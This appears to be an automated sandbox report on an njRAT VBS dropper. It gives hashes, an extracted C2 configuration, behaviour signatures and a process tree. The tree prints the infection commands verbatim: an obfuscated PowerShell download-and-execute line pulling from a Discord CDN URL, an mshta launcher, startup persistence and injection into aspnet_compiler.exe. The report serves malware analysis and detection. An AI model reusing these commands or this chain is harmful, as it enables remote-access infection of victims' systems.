njrat | e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed

General

Target

e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed.vbs
Size

828B
MD5

9af0d5fbc14e3ac0ae409dfef6e04228
SHA1

931b3139830e5485f198bb72ecba50475e4c8df2
SHA256

e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed
SHA512

fdca50df12edb4d7784a3c769908a695221456e8729b7ec61ec86b8328a18040c5aca7f2d6879f336b6c1a44b1323a8f1f05ff6dd14a4cbd9f233fedcd019f0e

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

envirat.duckdns.org:3013

Mutex

6de17d5355fa43eca7e

Attributes

reg_key
6de17d5355fa43eca7e
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 524 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3924 set thread context of 2828 3924 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

524 powershell.exe
524 powershell.exe
524 powershell.exe
3924 powershell.exe
3924 powershell.exe
3924 powershell.exe

flow	pid	process
3	524	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 3924 set thread context of 2828	3924	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings	powershell.exe

pid	process
524	powershell.exe
524	powershell.exe
524	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 4000 wrote to memory of 524	4000	WScript.exe	powershell.exe
PID 4000 wrote to memory of 524	4000	WScript.exe	powershell.exe
PID 524 wrote to memory of 1956	524	powershell.exe	WScript.exe
PID 524 wrote to memory of 1956	524	powershell.exe	WScript.exe
PID 1956 wrote to memory of 4076	1956	WScript.exe	cmd.exe
PID 1956 wrote to memory of 4076	1956	WScript.exe	cmd.exe
PID 4076 wrote to memory of 2832	4076	cmd.exe	mshta.exe
PID 4076 wrote to memory of 2832	4076	cmd.exe	mshta.exe
PID 2832 wrote to memory of 3924	2832	mshta.exe	powershell.exe
PID 2832 wrote to memory of 3924	2832	mshta.exe	powershell.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe
PID 3924 wrote to memory of 2828	3924	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/877222584595402823/Fucking.txt');$results
2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Suspicious use of WriteProcessMemory
PID:2832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3924

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2828

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS
MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat
MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1
MD5
317f5c7ef5b887966f963c21a60e2889

SHA1
5078bdb3e7376202c7253a8b428a360e1c047863

SHA256
cd7143c00ef7711ccdcc6877d6d393e4f6e2bb2aef26bf2214b81e660f7c7cdd

SHA512
e4d6590082671997ef08550d48b5ff43dd63a1811c4b883bbe75a9a5e22087b5928be43e624632bdaf8c01d4334ae397c672d1695900d1bd25e7a27a03b10750

Download Submit
memory/524-121-0x000001ED28FA0000-0x000001ED28FA1000-memory.dmp

Filesize
4KB

Download
memory/524-124-0x000001ED28600000-0x000001ED28602000-memory.dmp

Filesize
8KB

Download
memory/524-126-0x000001ED28603000-0x000001ED28605000-memory.dmp

Filesize
8KB

Download
memory/524-142-0x000001ED29250000-0x000001ED29251000-memory.dmp

Filesize
4KB

Download
memory/524-153-0x000001ED29310000-0x000001ED29311000-memory.dmp

Filesize
4KB

Download
memory/524-159-0x000001ED28606000-0x000001ED28608000-memory.dmp

Filesize
8KB

Download
memory/524-160-0x000001ED29220000-0x000001ED29222000-memory.dmp

Filesize
8KB

Download
memory/524-115-0x0000000000000000-mapping.dmp

Download
memory/1956-177-0x0000000000000000-mapping.dmp

Download
memory/2828-211-0x000000000040677E-mapping.dmp

Download
memory/2828-210-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/2828-221-0x00000000054C0000-0x00000000054C1000-memory.dmp

Filesize
4KB

Download
memory/2828-220-0x0000000005230000-0x0000000005231000-memory.dmp

Filesize
4KB

Download
memory/2828-219-0x0000000005150000-0x000000000564E000-memory.dmp

Filesize
5.0MB

Download
memory/2828-218-0x00000000052A0000-0x00000000052A1000-memory.dmp

Filesize
4KB

Download
memory/2828-217-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/2828-216-0x00000000050B0000-0x00000000050B1000-memory.dmp

Filesize
4KB

Download
memory/2832-181-0x0000000000000000-mapping.dmp

Download
memory/3924-202-0x000001F74B5B0000-0x000001F74B5B2000-memory.dmp

Filesize
8KB

Download
memory/3924-209-0x000001F74B5D0000-0x000001F74B5D3000-memory.dmp

Filesize
12KB

Download
memory/3924-208-0x000001F730CC6000-0x000001F730CC8000-memory.dmp

Filesize
8KB

Download
memory/3924-207-0x000001F74B5C0000-0x000001F74B5C5000-memory.dmp

Filesize
20KB

Download
memory/3924-184-0x0000000000000000-mapping.dmp

Download
memory/3924-194-0x000001F730CC0000-0x000001F730CC2000-memory.dmp

Filesize
8KB

Download
memory/3924-195-0x000001F730CC3000-0x000001F730CC5000-memory.dmp

Filesize
8KB

Download
memory/4076-180-0x0000000000000000-mapping.dmp

Download

Analysis

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